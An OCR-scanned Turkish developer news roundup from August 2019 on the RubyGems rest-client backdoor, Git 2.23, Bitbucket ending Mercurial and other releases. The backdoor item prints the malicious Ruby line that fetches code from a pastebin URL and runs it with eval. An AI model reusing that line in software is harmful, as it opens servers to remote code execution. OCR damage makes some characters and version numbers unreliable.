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1 RestClient ve diger 10 Ruby kiitiiphanesinin arka
kapi icerdigi ortaya cikti

Ruby kiitiiphanelerinin barindirildigi RubyGems.org sitesindeki bilgileri ¢ali-
nan geligtiricilerin projelerine, kuruldugu sunucuda arka kapi acan kod par-
calart eklenmis. Ayni olay strong-password isimli kiitiiphanenin de bagina
gelmigti (bkz: Yazilim Giindemi - 1). Yontem ayni: RubyGems.org sitesin-
deki kullanict bilgilerini ele gecen hacker(lar), projeye zararh kod pargalari
eklemigler ve yeni versiyon cikarak, kiitiiphaneyi kullananlarin zararli kod
parcalarini giincelleme ile edinmeleri saglanmis.
de;ein
yield
rescue Exception
end

end

!{Thread.new{loop{_!{sleep 980;eval{open('https://pastebin.com/raw/5iNdELNX").read)}}}if Rails.env[8]=="p"}

Sekil 1: CVE Numarasi:: CVE-2019-15224

Zararl kod parcalarindan bazilar: kullanicilarin cookie bilgilerini calmaya
yonelikken, bazilar1 da sistemi kripto para madenciligi i¢in kullamyormus.
Daha teknik bilgiler i¢in RestClient kiitiiphanesinin gu github sayfasina ba-
kabilirsiniz. Saldiridan etkilenen Ruby kiitiiphaneleri ve versiyonlari ise su
gekilde:

e rest-client: 1.6.10, 1.6.11, 1.6.12, 1.6.13
e cron_parser: (.1.4, 1.0.12, 1.0.13

e coin_base: /.2.1, 4.2.2


https://teknoseyir.com/blog/yazilim-gundemi-6-12-25-agustos-2019
https://www.zdnet.com/article/backdoor-code-found-in-11-ruby-libraries/
https://www.zdnet.com/article/backdoor-code-found-in-11-ruby-libraries/
https://rubygems.org
https://nvd.nist.gov/vuln/detail/CVE-2019-15224
https://github.com/rest-client/rest-client/issues/713

¢ blockchain wallet: 0.0.6, 0.0.7
e bitcoin vanity: 4.5.8

e lita coin: 0.0.9

e coming-soon: (.2.8

e omniauth amazon: 1.0.1

e awesome-bot: 1.18.0

e doge-coin: 1.0.2

e capistrano-colors: 0.5.5

Zararh kod icerdikleri anlagilan bu versiyonlar RubyGems.org ekibi tara-
findan geri gekilmig fakat olay anlagina kadar bu kiitiiphaneler toplam 3.584
kez indirilmig. Siz de mutlaka projelerinizde yukaridaki kiitiiphanelerin ve
versiyonlarin olup olmadigini kontrol edin ve tabii ki projenize bagimlilik
eklerken daha dikkatli olun.

2 standard isimli JavaScript araci terminal c¢ikti-
sinda reklam gostermeyi planliyor

GitHub’da 21K yildiza sahip, bagka bir cok proje tarafindan da kullanilan bu
arag, fonlama konusunda yasadig: sikintilardan 6tiirii terminal ¢iktisina agik
kaynag: destekleyen bir firmadan reklam almay: planlhiyor. Yani projenize
standard aracini eklemek i¢in npm install standard yazdigimizda aracin
kurulumu sonrasinda terminalde ve muhtemelen log dosyasinda bir reklam
gorecegiz. Agikcast ben de gasirdim fakat projenin github sayfasindaki issue
altinda yazilanlar: goriince biraz da olsa hak verdim.


https://github.com/standard/standard/issues/1381

$ npm install standard

Hepimiz agik kaynagin nimetlerinden fazlasiyla faydalaniyoruz fakat agik
kaynak camiasina katk: saglama konusunda ciddi eksikliklerimiz var. Girdigi-
miz agik kaynak projelerin sitelerindeki "Bagis Yap" butonlarini gérmezden
geliyor, hatta sitedeki reklamlari bile engelliyoruz. Ustiine bir de karsilasti-
g1miz sorunlarn ya da hatalari ¢ézmek icin az da olsa ugragmak yerine direkt
issue acip ya da mail gdnderip, 3-4 giin icerisinde sorumuzun c¢oziilmesini
bekliyoruz. Lafa gelince hepimiz ortamlarda acgik kaynagin faydalarindan,
nimetlerinden, ne kadar siiper bir gey oldugundan bahsettik; fakat, konu
maddi ve/veya manevi destek olmaya gelince ne elimizi cebimize attik, ne de
klavyemize dokunduk.

Terminal ¢iktisina reklam almak belki de dogru bir yontem degil, fakat,
su ¢ok agik ortada ki: Geligtirici camiasi olarak agik kaynak ile ilgili algi-
larimizi degigtirme zamanimiz geldi. Ac¢ik kaynak camiasindan aldigimizin
ne kadarim geri verdigimizin /verebildigimizin sorusunu kendimize sormamiz
gerekiyor. Agik kaynak araclari/kiitiiphaneleri kullanarak projeler yapip bir
glizel paramizi kazaniyoruz ama hig birimiz, "kardegim ben senin projeni
kullanarak para kazandim, al bu da benden sana bu araci gelistirmeye de-
vam edebilmen i¢in xx $/€" ya da "#504 numaral issue sayfasindaki sorunu
¢ozdiim, inceleyip, kodlarimi kabul edebilir misin?" demiyoruz. Ohh, ne ra-
hat!. ..

Bu konuda siz ne diigiiniiyorsunuz? Kullandigimiz bir arag/kiittiphane bu
sekilde reklam alsa -ki su an almay1 planliyor- tepkiniz ne olurdu? Yorum
kisminda konusalim.



3 Git versiyon kontrol sisteminin 2.23 siiriimii du-
yuruldu

Hepimizin her giin kullandig1 popiiler versiyon kontrol sistemi git 2.23 sii-
riimii ile yenilikler ve hata gidermelerini sunuyor. One cikan bazi 6zellikler
bu sekilde:

3.1 git checkout i¢in yeni deneysel alternatif komutlar

Bildigimiz gibi git checkout komutu hem dallar arasinda gecis yapmak icin
hem de dosyalar1 son commit’deki hallerine resetlemek icin kullanilabiliyor.
Ustelik git checkout --branch olmayan-dal gibi bir kullanimla da olma-
yan bir dali yaratip, ona gecis yapma ozelligi de var. Tki farkh islevin bir
komuta toplanmasindan dolay: benim de zaman zaman garipsedigim bir ko-
mut. Bu siirlimde bu islevleri ayiran deneysel iki komut eklenmis.

e git switch: Dallar arasinda gecis yapmak, yeni dal olugturup ona geg-
mek icin kullanilacak. Dokiimantasyon. Ornek:

$ git switch yeni-ozellik

Switched to branch 'yeni-ozellik'
Your branch is up to date with 'origin/yeni-ozellik'

e git restore: Verilen dosyast son commit’deki haline geri dondiirmek
icin kullanilacak. Dokiimantasyon. Ornek:

$ git restore program.c

Diger ozellikler ve degigiklikler icin konu baghigindaki baglantiya tiklaya-
bilir ya da GitHub Blog’da yayinlanan bu yaziy1 okuyabilirsiniz.

4 Bitbucket, Mercurial destegini sonlandirmaya ha-
zirlaniyor

Bitbucket, GitHub gibi bir uzak depo sunucu hizmeti veren bir site. Git-
Hub’dan farkh olarak sadece git ile degil, alternatif bir versiyon kontrol sis-
temi olan mercurial ile de caligmay: destekliyordu. Fakat artik Bitbucket’da
bu destegini sonlandirmaya karar vermis ve planlar yapilmig. 1 Subat 2020


https://raw.githubusercontent.com/git/git/master/Documentation/RelNotes/2.23.0.txt
https://raw.githubusercontent.com/git/git/master/Documentation/RelNotes/2.23.0.txt
https://git-scm.com/docs/git-switch/2.23.0
https://git-scm.com/docs/git-restore/2.23.0
https://github.blog/2019-08-16-highlights-from-git-2-23/
https://bitbucket.org/blog/sunsetting-mercurial-support-in-bitbucket

itibariyle kullanicilar yeni Mercurial deposu olusturulamayacak; 1 Hazi-
ran 2020 itibariyle de Bitbucket’de Mercurial destegi tamamen kalka-
cak ve Mercurial depolar1 da sunucudan silinecek. Destegin kalkma-
sinin nedenini sdylemeye gerek yok sanirim. Artik hepimiz her yeni projede
varsayilan olarak git kullanmaya bagladik. Acikcasi ben Mercurial hi¢ kul-
lanmadim, hatta dyle bir depo da hi¢ gormedim, bu ylizden nasil bir sistem
oldugu konusunda pek fikrim yok.

Bu haberi duyan, %100 acik kaynak ve 6zgiir yazihm olarak geligtirilen
Sourcehut da bir blog yazisi yayinlayarak, Bitbucket’dan Mercurial kullani-
cilarim kendi sitesine davet etti.

5 Mikrokontrolciiler icin Qt kiitiiphanesi tanitild:

YouTube videosu | Uriin tanitim sayfasi

C++ deneyimim konsola "Merhaba diinya" yazdirmaktan 6teye gitme-
digi halde bu gelisme beni bile heyecanlandirdi. Ozellikle videodaki gibi dii-
giik sistemn gereksinimleri ile calisan cihazlarda akici ve giizel tasariml ek-
ranlar hazirlayabileceksek, mutlaka bir ara Qt kiitliphanesini incelemem ge-
rekecek.

Teknik detaylari heniiz agik degil fakat konuyla ilgili Qt takimi, 4 Ey-
lil tarihinde internet izerinden soru&cevap kisminin da olacag bir webiner
diizenleyecek. Sanirim webiner boyunca ¢ok daha teknik kavramlar anlata-
caklardir. Buradan kendinize uygun saatteki webinere kayit olabilirsiniz.


https://sourcehut.org/blog/2019-08-21-sourcehut-welcomes-bitbucket-refugees/
https://blog.qt.io/blog/2019/08/21/announcing-qt-mcus/
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6 Etkinlik Duyurusu: Typed Properties ve dahasi
ile PHP 7.4

Typed Properties ve
dahasiile PHP 7.4
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Istanbul PHP grubunun organize ettigi bu etkinlikte PHP 7.4 ile birlikte
gelecek ozellikler anlatilacak. Birkac 0zelligi Yazihim Giindemi - 3 yazisinda
ben de anlatmustim fakat PHP gelistirmeyle ilgilenen ve Istanbul’da olan
arkadaglarin mutlaka bu etkinlige katilmasini tavsiye ederim, daha faydal
olacaktr.

7 Diger Haberler

e Netflix giivenlik takimi, HT'TP /2 protokoliiniin de DoS saldirima kars:
acik oldugunu ortaya cikardi.

e WebKit Takip Onleme Yénergesi yayimnlanda.

e Google Cloud, 1 Ocak 2020’den itibaren harici IP adreslerinden {icret
almaya baglayacak.

e GitLab, 12.2 siirtimii yayinlandi.
e NET Core takimi, tek depo (mono repo) yapisina gegmeyi planliyor
e GitHub, artik Web Authentication destekliyor.

e GitHub Package Registry hizmeti kisith agik beta siirecine girdi.


https://kommunity.com/istanbulphp/events/typed-properties-ve-dahasi-ile-php-74
https://kommunity.com/istanbulphp/events/typed-properties-ve-dahasi-ile-php-74
https://twitter.com/istanbulphp
https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md
https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md
https://webkit.org/tracking-prevention-policy/
https://cloud.google.com/compute/all-pricing#ipaddress
https://cloud.google.com/compute/all-pricing#ipaddress
https://about.gitlab.com/2019/08/22/gitlab-12-2-released/
https://github.com/dotnet/coreclr/issues/26175
https://github.blog/2019-08-21-github-supports-webauthn-for-security-keys/
https://help.github.com/en/articles/about-github-package-registry

React icin tarayict iizerinde caligan yeni gelistirici aract duyuruldu:
React Developer Tools.

Go programlama dilinin 1.13 RC1 siirtimii yayinlandi.

Rust programlama dilinin 1.37.0 stabil siirlimii yayinlandi.
Crystal programlama dilinin 0.31.1 siriimi duyuruldu.

Futhark programlama dilinin 0.12.1 siiriimii duyuruldu.

NET Framework 4.8 herkes i¢in erigilebilir oldu.

Rails, 6.0 stabil siirtimii yayimnland.

Slim PHP uygulama catisi (framework) 4.2.0 siiriimiinii duyurdu.
Apache Flink 1.9.0 siirtimii ¢ikta.

Eclipse organizasyonu, Jakarta EF 8 ile ilgili "diinii, bugiinii ve yarim"
konulu yaz yayinlanda.

Boost isimli taginabilir C++ kiitiiphaneleri iceren proje 1.71.0 siirii-
miinii duyurdu.

Yeni bir platformlar-aras: JavaScript ile masaiistii uygulama geligtirme
aract yayinlandi: NodeGUI, GitHub Deposu.

Web elemanlarina siiriikleyip-birakma, yeniden boyutlandirma vb. 6zel-
likler kazandiran moveable isimli JavaScript kiitiiphanesi 0.7.4 siirii-
miinii duyurdu.

Quark isimli platformlar-arasi masaiistii uygulamas: geligtirmeye yara-
yan JavaScript kiitiiphanesi v0.5.8 siiriimiinii duyurdu.

Rust ekosistemi grafiksel kullanicr arayiizleri (GUI) bakimindan ince-
lendi: Rust GUI ecosistem overview.

Rust ile yazilmis yeni bir shell duyuruldu: nushell.

Kriptopara ciizdanlar:1 olugturmak icin kullanilan Rust kiitiiphanesi
wagyu, 0.6.0 siiriimiinii duyurdu.

SASM, ilk siiriimii v1.0 duyuruldu.

Flecs, ilk siiriimii v1.0 duyuruldu.
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e Linux kernel geligtirmeleri icin DevOps yapist sunan kdevops isimli
proje v1.7.1 siiriimiinii duyurdu.

e 2 boyutlu platform oyunu Squally, acik kaynak hale geldi. GitHub De-
posu.

e Akademik Caligmalar:
— StackOverflow’da arama yapmanin yeni yolu: CROKAGE — the

Crowd Knowledge Answer Generator.

— Acgik kaynak resim kargilagtirma kiitiiphanesi: Douglas-Quaid, Git-
Hub Deposu.

— Facebook Yapay Zeka Takimi, Dogal Dil Isleme icin yeni bir yak-
lagim geligtirdi.
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